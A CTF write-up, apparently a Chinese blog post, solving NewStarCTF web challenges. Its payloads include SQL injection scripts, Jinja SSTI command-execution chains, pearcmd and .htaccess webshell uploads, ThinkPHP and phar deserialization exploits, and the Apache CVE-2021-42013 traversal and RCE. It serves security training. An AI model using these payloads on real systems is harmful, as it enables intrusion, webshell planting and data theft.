• NewStarCTF 公开赛-web


    week1

    HTTP

    cookie 修改admin 源码发现key GET和POST传参即可

    Head?Header!

    User-Agent: CTF
    Referer: ctf.com
    X-Forwarded-For: 127.0.0.1
    
    • 1
    • 2
    • 3

    我真的会谢

    信息泄露

    robots.txt

    www.zip

    源码 + /.index.php.swp

    NotPHP 函数绕过

    if(file_get_contents($_GET['data']) == "Welcome to CTF"){
        if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
            if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
                echo "Hack Me";
                eval("#".$_GET['cmd']);
            }else{
                die("Number error!");
            }
        }else{
            die("Wrong Key!");
        }
    }else{
        die("Pass it!");
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    1,绕过file_get_contents(),用input伪协议,即 /?data=php://input POST一个Welcome to CTF

    用data协议绕,?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=

    2,md5强比较碰撞&key1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&key2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

    这里可以直接数组绕过 key1[]=1&key2[]=2

    3,绕数字判断,intval只取前面的数字,后面的字母会忽略

    num=2077abc

    4,绕# 命令执行,用回车符%0d,我用换行符%0a打不通不知道为啥

    &cmd=%0dsystem("ls /");

    在bp里需要URL编码进去rec

    Word-For-You 万能密码

    一个留言板和查询,为什会考查万能密码

    万能密码NewCTFer' or 1#

    week2

    Word-For-You(2 Gen) 报错注入

    哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘记删除了

    有报错信息回显,那就报错注入

    name=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
    
    name=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
    
    name=1'and updatexml(1,concat(0x7e,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=database()),0x7e),1)--+
    
    name=1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='wfy_comments'),0x7e),1)--+
    
    name=1'and updatexml(1,concat(0x7e,(select right(group_concat(text),30) from wfy.wfy_comments),0x7e),1)--+
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    IncludeOne 文件包含+伪随机数

    include("seed.php");
    //mt_srand(*********);
    echo "Hint: ".mt_rand()."
    "
    ; if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){ if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){ //flag in `flag.php` include($_GET['file']); }else{ echo "Baby Hacker?"; } }else{ echo "No Hacker!"; } Hint: 1219893521
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    用工具跑一下种子 ,php伪随机数的考点看https://www.freebuf.com/column/205240.html

    image-20221115225629599

    得到seed是1145146,那么如何得到固定的mt_rand()呢,去运行mt_srand(1145146)

    
    mt_srand(1145146);
    mt_rand();
    echo mt_rand();
    ?>  得到1202031004 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    伪协议读取flag.php ,那么对filter进行了过滤 base,可以两次url编码绕过,NewStar就是直接用|加进去过滤器

    image-20221115230641472

    UnserializeOne 反序列化

    
    error_reporting(0);
    highlight_file(__FILE__);
    #Something useful for you : https://zhuanlan.zhihu.com/p/377676274
    class Start{
        public $name;
        protected $func;
    
        public function __destruct()
        {
            echo "Welcome to NewStarCTF, ".$this->name;
        }
    
        public function __isset($var)
        {
            ($this->func)();
        }
    }
    
    class Sec{
        private $obj;
        private $var;
    
        public function __toString()
        {
            $this->obj->check($this->var);
            return "CTFers";
        }
    
        public function __invoke()
        {
            echo file_get_contents('/flag');
        }
    }
    
    class Easy{
        public $cla;
    
        public function __call($fun, $var)
        {
            $this->cla = clone $var[0];
        }
    }
    
    class eeee{
        public $obj;
    
        public function __clone()
        {
            if(isset($this->obj->cmd)){
                echo "success";
            }
        }
    }
    
    if(isset($_POST['pop'])){
        unserialize($_POST['pop']);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58

    先找可利用函数,找到file_get_contents(‘/flag’); 直接输出flag了

    找链子

    Start类__destruct()–>Sec类__toString()–>Easy类__call–>eeee类__clone–>``Start类__isset`–>

    Sec类__invoke

    这里唯一比较绕的点是__call($fun, $var) 这个$fun是上一步调用的方法名即check,$var是其参数即($this->var)

    所以进入__call()的方法是 构造$this->var

    构造pop

    
    class Start{
        public $name;
        public $func;
    }
    class Sec{
        public $obj;
        public $var;
    
    }
    class Easy{
        public $cla;
    }
    class eeee{
        public $obj;
    
    }
    $st = new Start();
    $se = new Sec();
    $ea = new Easy();
    $ee = new eeee();
    
    $st->name=$se;
    $se->obj=$ea;
    $se->var=$ee;
    $ee->obj=$st;
    $st->func=$se;
    
    echo serialize($st);;
    
    O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    ezAPI graphQL

    qsdz开发了一个查询网页,但是好像存在一些漏洞?

    之前没遇到过graphQL这个知识点,此文不错 https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ

    本题首先是源码泄露 www.zip

    
                    error_reporting(0);
                    $id = $_POST['id'];
                    function waf($str)
                    {
                        if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
                            return False;
                        } else {
                            return True;
                        }
                    }
    
                    function send($data)
                    {
                        $options = array(
                            'http' => array(
                                'method' => 'POST',
                                'header' => 'Content-type: application/json',
                                'content' => $data,
                                'timeout' => 10 * 60
                            )
                        );
                        $context = stream_context_create($options);
                        $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
                        return $result;
                    }
    
                    if (isset($id)) {
                        if (waf($id)) {
                            isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
                            $res = json_decode(send($data));
                            if ($res->data->users_user_by_pk->name !== NULL) {
                                echo "ID: " . $id . "
    Name: "
    . $res->data->users_user_by_pk->name; } else { echo "Can't found it!

    DEBUG: "
    ; var_dump($res->data); } } else { die("Hacker! Only Number!"); } } else { die("No Data?"); } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44

    可以知道是要post一个data变量

    一般考察的是,内省查询,就是本来只应该内部进行访问,但配置错误导致攻击者可以获得这些消息。

    {"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}
    
    • 1

    查询这些数据就会返回所以的API信息

    image-20221116002637864

    搜索flag关键字 找到flag的接口 ffffllllaaagggg_1n_h3r3_flag

    现在只需要读flag就好了,当然也是通过graphQL的格式来读,看源码里读数据的格式

    {"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}
    
    • 1

    image-20221116003421228

    尝试读到数据,进行模仿读取flag

    {"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n","variables":null}
    
    • 1

    image-20221116003527088

    week3

    BabySSTI_One

    简单的SSTI

    image-20221116180007755

    是过滤了一些关键词class什么的,lipsum这条链子直接梭了

    /?name={{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('nl /fl*').read()")}}
    
    • 1

    常规思路打一波:

    关键字被ban了可以用字符拼接一下 {{""['__cla'+'ss__']}}

    先读基类和所有子类

    /?name={{""['__cla'+'ss__']['__bas'+'e__']['__subcl'+'asses__']()}}
    
    • 1

    image-20221119144959273

    拿到后脚本跑一下 找敏感类

    import json
    
    a = """, , ......"""
    
    num = 0
    allList = []
    
    result = ""
    for i in a:
        if i == ">":
            result += i
            allList.append(result)
            result = ""
        elif i == "\n" or i == ",":
            continue
        else:
            result += i
    
    for k, v in enumerate(allList):
        if "os._wrap_close" in v:
            print(str(k) + "--->" + v)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    image-20221119145327438

    即用__subclasses__()[117]

    到了下一个点,.init.globals,这个init用来初始化类,globals用来全局查找所有方法和变量及参数是有popen的,这个就可以命令执行了

    /?name={{""['__cla'+'ss__']['__bas'+'e__']['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('id').read()}}
    
    • 1

    image-20221119150107314

    成功执行命令,最终payload

    /?name={{""['__cla'+'ss__']['__bas'+'e__']['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('nl /fl*').read()}}
    
    • 1

    multiSQL 堆叠注入

    image-20221119133035929

    堆叠注入

    1';show databases#
    1';show tables from english#
    1';show columns from score#
    
    • 1
    • 2
    • 3

    image-20221119134341931

    现在的目的是帮助火华用户修改成绩,然后验证成绩才能得到flag

    fuzz一下 很多关键字被ban了 ,update,select,insert

    1,用replace代替insert进行修改

    1';replace into score values("火华",400,400,400);#
    
    • 1

    image-20221119134702306

    删除 第一个火华 ,然后拿到flag

    1';delete from score where listen=11;#
    
    • 1

    image-20221119134826601

    2,利用预处理prepare,然后concat拼接字符串绕过

    1';set @sql=concat('up','date `score` set listen=200 where username="火华"');prepare payload FROM @sql;execute payload#
    
    • 1

    3,尝试写shell

    没有成功

    IncludeTwo pearcmd.php的利用

    How to RCE via LFI? P…

    
    error_reporting(0);
    highlight_file(__FILE__);
    //Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
    if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
        include($_GET['file'].".php");
    }else{
        die("Hacker!");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    这题是直接过滤了filter协议 ,这里可以考虑pearcmd.php的利用,参考P神的文章

    https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

    config-create命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中

    /?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/tmp/shell.php
    
    • 1

    image-20221119180050556

    image-20221119180115854

    访问shell文件即可rce

    Maybe You Have To think More

    image-20221119181349159

    访问一个错误页面就得到了TP的版本信息

    整个页面是输入用户名的框 ,会将用户名存在cookie里面 以序列化语句+base64存入

    O:17:"first\second\user":2:{s:8:"username";s:5:"12345";s:8:"password";N;}

    image-20221119180734527

    所以反序列化点在cookie

    网上有exp可以用https://www.freebuf.com/vuls/263977.html

    TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=
    
    • 1

    放入cookie

    然后get一个id执行命令 ,flag在环境变量里

    image-20221119184449481

    week4

    So Baby RCE

    
    error_reporting(0);
    if(isset($_GET["cmd"])){
        if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
           echo "Don't Hack Me";
        }else{
            system($_GET["cmd"]);
        }
    }else{
        show_source(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    主要是过滤文件读取命令 空格 /目录分隔符

    看mochu师傅是:利用cd切换目录,&&执行多条命令,$@绕过关键字 sort命令也可以读文件,学习一波

    /?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ls
    
    • 1

    image-20221120013747764

    /?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26sort${IFS}fff?llllaaaaggggg
    $@绕过关键字 
    /?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ca$@t${IFS}ffff$@llllaaaaggggg
    
    • 1
    • 2
    • 3

    BabySSTI_Two

    过滤比较上周更严 首先双引号" 就没了,但单引号’ . __ 还在

    +被禁了,那么字符拼接就先放弃

    还有一种思路是字符串逆序

    {{''['__ssalc__'[::-1]]}} 来凑出关键字

    {{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()}}
    
    {{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('id').read()}}
    
    {{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('ls%09/').read()}}
    读flag用上题的绕过方法即可 
    {{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('sort%09/fla?_in_h3r3_52daad').read()}}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    UnserializeThree phar反序列化

    image-20221120210541716

    有一个上传点,只上传图片

    源码里面有注释

    直接访问

    
    highlight_file(__FILE__);
    class Evil{
        public $cmd;
        public function __destruct()
        {
            if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
                //Same point ,can you bypass me again?
                eval("#".$this->cmd);
            }else{
                echo "No!";
            }
        }
    }
    
    file_exists($_GET['file']);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    其实根本没有反序列化,就是直接eval了$cmd的内容

    不过需要绕一下 "#".$this->cmd ,绕注释可以换行, ban了%0a也就是\n\r替代就可以

    
    class Evil{
        public $cmd = "\rsystem('cat /flag');";
    }
    $a = new Evil(); //创建对象
    # 下面这部分就没改
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub(""); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    生成的phar.phar 改后缀.jpg 然后上传

    image-20221120222623098

    拿到路径后 phar读取

    image-20221120222641842

    又一个SQL

    这题主要是把空格过滤了 然而常规%09还有/**/还是被禁用了

    /**/这是多行注释

    /*!*/是内联注释, 本题可以用/*!*/

    手测发现是数字型 ,和布尔盲注 ,回显好耶即注入成功

    image-20221121204953484

    写脚本盲注

    import time
    import requests
    
    def getDatabase():
    
        ans=''
        for i in range(1,1000):
            low = 32
            high = 128
            mid = (low+high)//2
            while low < high:
                #sql = "select/*!*/database()"
                sql="select/*!*/group_concat(table_name)/*!*/from/*!*/information_schema.tables/*!*/where/*!*/table_schema=database()"# mysql.innodb_table_stats"
                sql="select/*!*/group_concat(column_name)/*!*/from/*!*/information_schema.columns/*!*/where/*!*/table_name='wfy_comments'"
                sql="select/*!*/group_concat(text)/*!*/from/*!*/wfy.wfy_comments"
                payload= "1/*!*/and/*!*/(ascii(substr(({}),{},1))<{})#".format(sql,i,mid)
                res = requests.post("http://55bf184d-6484-4bbe-bcae-5799b8bcf38b.node4.buuoj.cn:81/comments.php?name="+payload)
                # print(payload)
                # print(res.text.split("\n")[-1])
                if "好耶" in res.text:
                    high = mid
                else:
                    low = mid+1
                mid=(low+high)//2
            # if mid <= 32 or mid >= 127:
            #     break
            time.sleep(0.5)
            ans += chr(mid-1)
            print("[+] "+ans)
    
    getDatabase()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    基本的盲注脚本注意空格即可

    最后爆出的flag内容前面一堆不可见字符,所以脚本不要过滤不可见字符

    image-20221121211320066

    week5

    Give me your photo PLZ 图片马

    image-20221121211732351

    最基础的图片马文件上传 ,Nginx服务器

    .htaccess也没被ban

    
    SetHandler application/x-httpd-php
    
    
    • 1
    • 2
    • 3

    传入.htaccess pass.png 成功被执行

    image-20221121212223989

    image-20221121212344765

    Unsafe Apache Apache版本漏洞利用

    image-20221121212454276

    直接插件读到了服务器版本,响应头也可以

    image-20221121212632401

    去搜版本漏洞利用, 都是Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)

    https://blog.csdn.net/weixin_47311099/article/details/121773364

    目录穿越

    http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
    
    • 1

    image-20221121213114725

    命令执行

    /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
    
    echo;ls /
    
    • 1
    • 2
    • 3

    image-20221121213818449

    So Baby RCE Again

    
    error_reporting(0);
    if(isset($_GET["cmd"])){
        if(preg_match('/bash|curl/i',$_GET["cmd"])){
            echo "Hacker!";
        }else{
            shell_exec($_GET["cmd"]);
        }
    }else{
        show_source(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    过滤bash curl 是不让反弹shell ,代码是没有回显

    可以通过shell_exec()写入shell

    /?cmd=echo '' > shell.php
    
    • 1

    image-20221120195425054

    但是发现读不到flag文件 ,蚁剑连接shell

    ls -lha 查看文件权限

    image-20221120200043920

    考虑SUID提权 ,蚁剑这个命令没回显,还是要保存一下 ,在浏览器执行还是有回显的,还是利用date直接读

    find / -perm -u=s -type f 2>/dev/null
    
    • 1

    image-20221120203238500

    BabySSTI_Three

    相较上周,又ban了下划线__ ,选择直接unicode编码绕

    {{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f'][0]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()}}
    
    最后payload 
    {{''['__class__']['__bases__'][0]['__subclasses__']()[117]['__init__']['__globals__']['popen']('id').read()}}
    编码后即
    {{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f'][0]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[117]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('id').read()}}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    读flag

    {{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f'][0]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[117]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('sort%09/fla*').read()}}
    
    • 1

    Final round 时间盲注

    啊呜,好困呜呜~~~

    题干也提示 时间盲注了

    依然脚本跑 ,这题很坑的是把/*!*/也禁用了 ,所以使用括号分隔

    import time
    import requests
    url='http://94a74348-9436-4092-a809-a2b7d8c9fc19.node4.buuoj.cn:81/comments.php'
    def getflag():
        ans=''
        for i in range(1,100):
            low = 32
            high = 128
            mid = (low+high)//2
            while low < high:
                sql = "database()"
                sql="(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))"# mysql.innodb_table_stats
                sql="(select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments'))"
                sql="(select(reverse(group_concat(text)))from(wfy.wfy_comments))"
                data={
                    'name':'132||if(ascii(substr({},{},1))<{},sleep(0.2),0)'.format(sql,i,mid)
                }
                start=time.time()
                res = requests.post(url,data=data)
                end = time.time()
                time_cha=end-start
    
                if time_cha>2:
                    high = mid
                else:
                    low = mid+1
                mid=(low+high)//2
    
            ans += chr(mid-1)
            print("[+] "+ans)
    
    getflag()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    还是好久没跑时间盲注的脚本了,有些东西废了点时间

    设置睡的时间请求的时间差那里一直不是特别了解,测试倒是没问题,sleep(0.2)时请求的时间差大概在2.5s

    最后跑flag用了一下逆序reverse(),就不用等那么久了

    image-20221122003628945

  • 相关阅读:
    Mysql学习笔记
    django项目实战基于Python实现的竞赛比赛平台
    为什么调用父类构造函数,super 必须是构造函数内的第一条语句?
    苹果推出iOS15.2正式版,“数字遗产”计划正式上线,你的“继承人”是谁?
    MATLAB | 绘图复刻(四) | 和弦图+颜色修改+标签旋转
    案例分享|企小码为博尔迈生物实现会话存档私有化,助生物医药产业管理优化
    java调用python的方法
    【虚幻引擎UE】UE4/UE5 功能性插件推荐及使用介绍
    Python中popitem()删除并返回最后插入字典中的键值对
    Pytorch环境配置——从零开始(不需要anaconda)
  • 原文地址:https://blog.csdn.net/qq_61768489/article/details/127975198